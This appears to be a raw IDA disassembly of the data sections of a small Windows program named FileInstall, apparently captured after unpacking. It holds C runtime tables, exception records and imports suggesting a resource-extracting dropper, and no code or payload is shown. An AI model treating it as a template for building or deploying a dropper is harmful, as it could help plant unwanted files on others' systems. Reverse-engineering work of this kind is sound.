dup(100010h) dd 140010h, 100014h, 2 dup(100010h), 100014h, 2 dup(100010h) dd 1010010h, 0Bh dup(1010101h), 1010010h, 3 dup(1010101h) dd 0Ch dup(1020102h), 1020010h, 3 dup(1020102h), 1010102h dword_405CBC dd 0 ; DATA XREF: ___crtLCMapStringA+1Co ; ___crtGetStringTypeA+1Eo stru_405CC0 _msEH <0FFFFFFFFh, offset loc_404203, offset loc_404207> ; DATA XREF: ___crtLCMapStringA+2o dd 0FFFFFFFFh, 404000h, 404004h, 0FFFFFFFFh, 4040CEh, 4040D2h dd 0 stru_405CE8 _msEH <0FFFFFFFFh, offset loc_40439F, offset loc_4043A3> ; DATA XREF: ___crtGetStringTypeA+2o align 8 stru_405CF8 _msEH <0FFFFFFFFh, offset loc_404955, offset loc_404959> ; DATA XREF: ___convertcp+2o align 8 dd 48h, 0Eh dup(0) dd offset dword_407030 dd offset dword_405DB0 dd 2, 53445352h, 23FC5A73h, 45A28040h, 528197A0h, 0CF18F846h dd 1 aPProjectsKlikt db 'p:\Projects\Kliktanje\FileInstall\Release\FileInstall.pdb',0 align 10h dword_405DB0 dd 1598h, 266Ch, 0 ; DATA XREF: .rdata:00405D48o dword_405DBC dd 2 dup(0) ; DATA XREF: sub_402154+Co ; sub_402154:loc_402167o dword_405DC4 dd 0 ; DATA XREF: sub_402198+Co ; sub_402198:loc_4021ABo dd 5DF0h, 2 dup(0) dd 5FCCh, 5000h, 5 dup(0) dd 5EE0h, 5EEEh, 5EFAh, 5F08h, 5F18h, 5F2Ah, 5F3Ah, 5F4Ah dd 5F58h, 5F66h, 5F78h, 5F88h, 5F94h, 5FA0h, 5FB6h, 5FDAh dd 5FE8h, 5FFCh, 600Eh, 6020h, 6030h, 604Ah, 605Ah, 6070h dd 6086h, 60A0h, 60B4h, 60C8h, 60D8h, 60F4h, 610Eh, 6126h dd 6140h, 6156h, 6166h, 6180h, 6192h, 61A0h, 61AEh, 61BCh dd 61CAh, 61D6h, 61E2h, 61F8h, 6208h, 6212h, 621Eh, 622Ah dd 6236h, 6246h, 6254h, 6260h, 6270h, 6286h, 6296h, 62A8h dd 62BAh, 62CCh, 62DEh, 0 db 2Eh ; . align 2 aClosehandle db 'CloseHandle',0 dw 394h aWritefile db 'WriteFile',0 aM db 'M',0 aCreatefilea db 'CreateFileA',0 db 5Bh ; [ db 2, 4Ch, 6Fh aCkresource db 'ckResource',0 align 4 db 46h ; F db 3, 53h, 69h aZeofresource db 'zeofResource',0 align 2 dw 24Dh aLoadresource db 'LoadResource',0 align 2 db 'Ú',0 aFindresourcea db 'FindResourceA',0 dw 265h aMovefileexa db 'MoveFileExA',0 aQ db 'ï',0 aFreelibrary db 'FreeLibrary',0 dw 198h aGetprocaddress db 'GetProcAddress',0 align 4 db 48h ; H db 2, 4Ch, 6Fh aAdlibrarya db 'adLibraryA',0 align 4 db 0ADh ; db 3, 6Ch, 73h aTrcata db 'trcatA',0 align 4 db 0B9h ; ¹ db 3, 6Ch, 73h aTrcpyna db 'trcpynA',0 db 0B9h ; ¹ db 1, 47h, 65h aTsystemdirecto db 'tSystemDirectoryA',0 dw 175h aGetmodulefilen db 'GetModuleFileNameA',0 align 4 aKernel32_dll db 'KERNEL32.dll',0 align 2 aP db '¯',0 aExitprocess db 'ExitProcess',0 db 77h ; w db 1, 47h, 65h aTmodulehandlea db 'tModuleHandleA',0 align 4 db 0AFh ; ¯ db 1, 47h, 65h aTstartupinfoa db 'tStartupInfoA',0 dw 108h aGetcommandline db 'GetCommandLineA',0 db 0DFh ; ß db 1, 47h, 65h aTversionexa db 'tVersionExA',0 db 97h ; — db 2, 51h, 75h aEryperformance db 'eryPerformanceCounter',0 dw 1D5h aGettickcount db 'GetTickCount',0 align 2 dw 13Eh aGetcurrentthre db 'GetCurrentThreadId',0 align 10h db 3Bh ; ; db 1, 47h, 65h aTcurrentproces db 'tCurrentProcessId',0 dw 1C0h aGetsystemtimea db 'GetSystemTimeAsFileTime',0 db 4Fh ; O db 3, 54h, 65h aRminateprocess db 'rminateProcess',0 align 4 db 3Ah ; : db 1, 47h, 65h aTcurrentproc_0 db 'tCurrentProcess',0 db 0B1h ; ± db 1, 47h, 65h aTstdhandle db 'tStdHandle',0 align 4 db 60h ; ` db 3, 55h, 6Eh aHandledexcepti db 'handledExceptionFilter',0 align 4 aA db 'í',0 aFreeenvironmen db 'FreeEnvironmentStringsA',0 dw 14Dh aGetenvironment db 'GetEnvironmentStrings',0 aU db 'î',0 aFreeenvironm_0 db 'FreeEnvironmentStringsW',0 db 87h ; ‡ db 3, 57h, 69h aDechartomultib db 'deCharToMultiByte',0 dw 169h aGetlasterror db 'GetLastError',0 align 2 dw 14Fh aGetenvironme_0 db 'GetEnvironmentStringsW',0 align 10h dd 65530317h, 6E614874h, 43656C64h, 746E756Fh, 15E0000h dd 46746547h, 54656C69h, 657079h, 6548020Ah, 65447061h dd 6F727473h, 2080079h, 70616548h, 61657243h, 6574h, 69560376h dd 61757472h, 6572466Ch, 20C0065h, 70616548h, 65657246h dd 2CA0000h, 556C7452h, 6E69776Eh, 21F0064h aInterlockedexc db 'InterlockedExchange',0 db 7Bh ; { db 3, 56h, 69h aRtualquery db 'rtualQuery',0 align 4 db 0F5h ; õ align 2 aGetacp db 'GetACP',0 align 2 dw 18Bh aGetoemcp db 'GetOEMCP',0 align 2 dw 0FCh aGetcpinfo db 'GetCPInfo',0 dw 206h aHeapalloc db 'HeapAlloc',0 dw 373h aVirtualalloc db 'VirtualAlloc',0 align 2 dw 210h aHeaprealloc db 'HeapReAlloc',0 db 12h db 2, 48h, 65h aApsize db 'apSize',0 align 10h db 3Ah ; : db 2, 4Ch, 43h aMapstringa db 'MapStringA',0 align 10h db 6Bh ; k db 2, 4Dh, 75h aLtibytetowidec db 'ltiByteToWideChar',0 dw 23Bh aLcmapstringw db 'LCMapStringW',0 align 2 dw 1B2h aGetstringtypea db 'GetStringTypeA',0 align 4 dd 654701B5h, 72745374h, 54676E69h, 57657079h, 16C0000h dd 4C746547h, 6C61636Fh, 666E4965h, 416Fh, 69560379h, 61757472h dd 6F72506Ch, 74636574h, 1BB0000h, 53746547h, 65747379h dd 666E496Dh db 6Fh, 0 _rdata ends ; Section 3. (virtual address 00007000) ; Virtual size : 00000838 ( 2104.) ; Section size in file : 00000838 ( 2104.) ; Offset to raw data for section: 00007000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _data segment para public 'DATA' use32 assume cs:_data ;org 407000h dword_407000 dd 0 ; DATA XREF: __cinit+45o dd offset ___security_init_cookie dword_407008 dd 0 ; DATA XREF: __cinit+4Co dword_40700C dd 0 ; DATA XREF: __cinit+12o dd offset ___onexitinit dd offset ___initmbctable dword_407018 dd 0 ; DATA XREF: __cinit+17o dword_40701C dd 0 ; DATA XREF: _doexit:loc_40179Ao dword_407020 dd 0 ; DATA XREF: _doexit+6Co dword_407024 dd 0 ; DATA XREF: _doexit:loc_4017B9o dword_407028 dd 2 dup(0) ; DATA XREF: _doexit+8Bo dword_407030 dd 9DAD69AEh ; DATA XREF: WinMain(x,x,x,x)+6r ; sub_401185r ... off_407034 dd offset __exit ; DATA XREF: __amsg_exit+1Cr dword_407038 dd 2 ; DATA XREF: __NMSG_WRITE+58r ; __FF_MSGBANNER+Er align 10h dword_407040 dd 2 ; DATA XREF: __NMSG_WRITE:loc_40185Ar ; __NMSG_WRITE+3Ar off_407044 dd offset aR6002FloatingP ; DATA XREF: __NMSG_WRITE+D5r ; __NMSG_WRITE+112r ... ; "R6002\r\n- floating point not loaded\r\n" dd 8, 4056B4h, 9, 405688h, 0Ah, 4055F0h, 10h, 4055C4h dd 11h, 405594h, 12h, 405570h, 13h, 405544h, 18h, 40550Ch dd 19h, 4054E4h, 1Ah, 4054ACh, 1Bh, 405474h, 1Ch, 40544Ch dd 1Dh, 4053A8h, 78h, 405394h, 79h, 405384h, 7Ah, 405374h dd 0FCh, 405370h, 0FFh, 405360h dword_4070D8 dd 0C0000005h, 0Bh, 0 ; DATA XREF: __XcptFilter+Co dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 dd 0C000008Dh, 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 dd 0C0000090h, 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_407150 dd 3 ; DATA XREF: __XcptFilter+84r dword_407154 dd 7 ; DATA XREF: __XcptFilter+89r dword_407158 dd 0Ah ; DATA XREF: __XcptFilter+6r dword_40715C dd 8Ch ; DATA XREF: __XcptFilter+B2r ; __XcptFilter+BAw ... dd 0FFFFFFFFh, 0A80h, 10h, 0 dword_407170 dd 19930520h, 3 dup(0) ; DATA XREF: .text:0040271Bo ; __NLG_Notify+2o byte_407180 db 1 ; DATA XREF: __setmbcp+120r db 2, 4, 8 align 8 dword_407188 dd 3A4h ; DATA XREF: __setmbcp:loc_402CC2r dword_40718C dd 82798260h ; DATA XREF: __setmbcp+15Cr dd 21h, 0 dword_407198 dd 0DFA6h ; DATA XREF: __setmbcp+100r align 10h dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 3 dup(0) off_407280 dd offset asc_4058B8 ; DATA XREF: _x_ismbbtype+18r ; __ismbcspace:loc_404C84r ... ; " ((((( H" dd offset dword_405AB8+2 dd 1, 0 dword_407290 dd 1 ; DATA XREF: __ismbcspace:loc_404C6Fr dd 2Eh, 1, 0 ; char *dword_4072A0 dword_4072A0 dd 0 ; DATA XREF: start+11Cw ; __setenvp:loc_401BC4r ... align 8 dword_4072A8 dd 0 ; DATA XREF: __amsg_exitr start+D2r ... dword_4072AC dd 0 ; DATA XREF: .text:00401411r dd 3 dup(0) dword_4072BC dd 2 ; DATA XREF: start+29w ___heap_selectr ... dword_4072C0 dd 0A28h ; DATA XREF: start+49w start+5Aw dword_4072C4 dd 501h ; DATA XREF: start+65w dword_4072C8 dd 5 ; DATA XREF: start+32w ; ___heap_select+9r ... dword_4072CC dd 1 ; DATA XREF: start+3Aw dword_4072D0 dd 1 ; DATA XREF: __setargv+8Fw dword_4072D4 dd 320B20h ; DATA XREF: __setargv+95w dd 0 ; void *Memory Memory dd 320B40h ; DATA XREF: __setenvp+48w ; __setenvp:loc_401C63r ... dd 3 dup(0) off_4072EC dd offset aCM_unpackerPac ; DATA XREF: __setargv+37w ; "C:\\m_unpacker\\packed.exe" dd 0 byte_4072F4 db 0 ; DATA XREF: _doexit+2Dw align 4 dword_4072F8 dd 1 ; DATA XREF: _doexit+27w dword_4072FC dd 1 ; DATA XREF: _doexit+7r _doexit+B0w dword_407300 dd 0 ; DATA XREF: __FF_MSGBANNER+21r dword_407304 dd 0 ; DATA XREF: __XcptFilter+68r ; __XcptFilter+73w ... aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: __setargv+1Co ; .data:off_4072ECo align 4 dd 3Ah dup(0) byte_40740C db 0 ; DATA XREF: __setargv+23w align 10h dword_407410 dd 1 ; DATA XREF: ___crtGetEnvironmentStringsA+2r ; ___crtGetEnvironmentStringsA+24w ... dword_407414 dd 0 ; DATA XREF: ___crtMessageBoxA+9r ; ___crtMessageBoxA+38w ... dword_407418 dd 0 ; DATA XREF: ___crtMessageBoxA+4Dw ; ___crtMessageBoxA:loc_402352r dword_40741C dd 0 ; DATA XREF: ___crtMessageBoxA+5Bw ; ___crtMessageBoxA+D6r dword_407420 dd 0 ; DATA XREF: ___crtMessageBoxA+7Bw ; ___crtMessageBoxA:loc_40230Dr dword_407424 dd 0 ; DATA XREF: ___crtMessageBoxA+6Cw ; ___crtMessageBoxA+9Cr dword_407428 dd 0 ; DATA XREF: __ValidateEH3RN:loc_4027C1r ; __ValidateEH3RN+13Fr ... align 10h dword_407430 dd 0 ; DATA XREF: __ValidateEH3RN:loc_4027D4r ; __ValidateEH3RN+1C4r ... dd 0Fh dup(0) dword_407470 dd 0 ; DATA XREF: __ValidateEH3RN+12Co ; __ValidateEH3RN+191o ... dword_407474 dd 1 ; DATA XREF: __setmbcp+19w ; __setmbcp+21w ... align 10h ; int dword_407480 dword_407480 dd 0 ; DATA XREF: ___crtLCMapStringA+265r ; ___crtGetStringTypeA+14Ar ... align 10h ; int dword_407490 dword_407490 dd 0 ; DATA XREF: __setmbcp+4Fr ; ___crtLCMapStringA+9Dr ... align 8 dword_407498 dd 1 ; DATA XREF: ___crtLCMapStringA+Er ; ___crtLCMapStringA+31w ... dword_40749C dd 1 ; DATA XREF: ___crtGetStringTypeA+Er ; ___crtGetStringTypeA+2Ew ... dword_4074A0 dd 0 ; DATA XREF: __callnewhr dword_4074A4 dd 0 ; DATA XREF: _mallocr ; _realloc:loc_403E79r ... ; void *Dst Dst dd 0 ; DATA XREF: ___sbh_heap_init+21w ; ___sbh_free_block+21Cr ... dword_4074AC dd 0 ; DATA XREF: ___sbh_heap_init+28w ; ___sbh_find_blockr ... dword_4074B0 dd 0 ; DATA XREF: ___sbh_heap_init+15w ; ___sbh_find_block+8r ... dword_4074B4 dd 0 ; DATA XREF: __heap_alloc+Er ; ___sbh_heap_init+36w ... dword_4074B8 dd 0 ; DATA XREF: ___sbh_heap_init+2Fw ; ___sbh_free_block+300w ... dword_4074BC dd 0 ; DATA XREF: ___sbh_heap_init+3Cw ; ___sbh_alloc_new_region+5r ... dword_4074C0 dd 0 ; DATA XREF: ___sbh_free_block+229r ; ___sbh_free_block+249r ... ; int dword_4074C4 dword_4074C4 dd 0 ; DATA XREF: _setSBCS+1Aw ; _setSBUpLow+84r ... dword_4074C8 dd 0 ; DATA XREF: _setSBCS+15w ; __setmbcp+14Dw ... dd 5 dup(0) byte_4074E0 db 0 ; DATA XREF: _setSBCS+6o __setmbcp+A7o ... byte_4074E1 db 0 ; DATA XREF: _parse_cmdline+47r ; _parse_cmdline+11Dr ... align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h ; int dword_4075E4 dword_4075E4 dd 4E4h ; DATA XREF: _setSBCS+10w ; _setSBUpLow+16r ... align 10h dword_4075F0 dd 4 dup(0) ; DATA XREF: _setSBCS+1Fo ; __setmbcp+162o ... byte_407600 db 0 ; DATA XREF: _setSBUpLow:loc_402BCDw ; _setSBUpLow:loc_402BEAw ... align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh dword_407700 dd 320000h ; DATA XREF: __heap_init+19w ; __heap_init+3Er ... dword_407704 dd 1 ; DATA XREF: __heap_init+28w _free+9r ... dword_407708 dd 20h ; DATA XREF: __ioinit+1Fw ; __ioinit:loc_402032r ... dd 5 dup(0) dword_407720 dd 320650h ; DATA XREF: __ioinit:loc_401FC3w ; __ioinit+3Cr ... dword_407724 dd 3Fh dup(0) ; DATA XREF: __ioinit+91o dword_407820 dd 1 ; DATA XREF: __setenvp+9Fw dword_407824 dd 320754h ; DATA XREF: _doexit+3Er ; _doexit:loc_401785r ... ; void *dword_407828 dword_407828 dd 320758h ; DATA XREF: _doexit+34r _doexit+5Ar ... dword_40782C dd 1 ; DATA XREF: __wincmdln+4r ; __setenvp+3r ... dword_407830 dd 0 ; DATA XREF: __cinitr dword_407834 dd 142340h ; DATA XREF: start+112w ; __wincmdln:loc_401B66r ... _data ends ; Section 5. (virtual address 00023000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00022400 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 423000h align 2000h _idata2 ends end start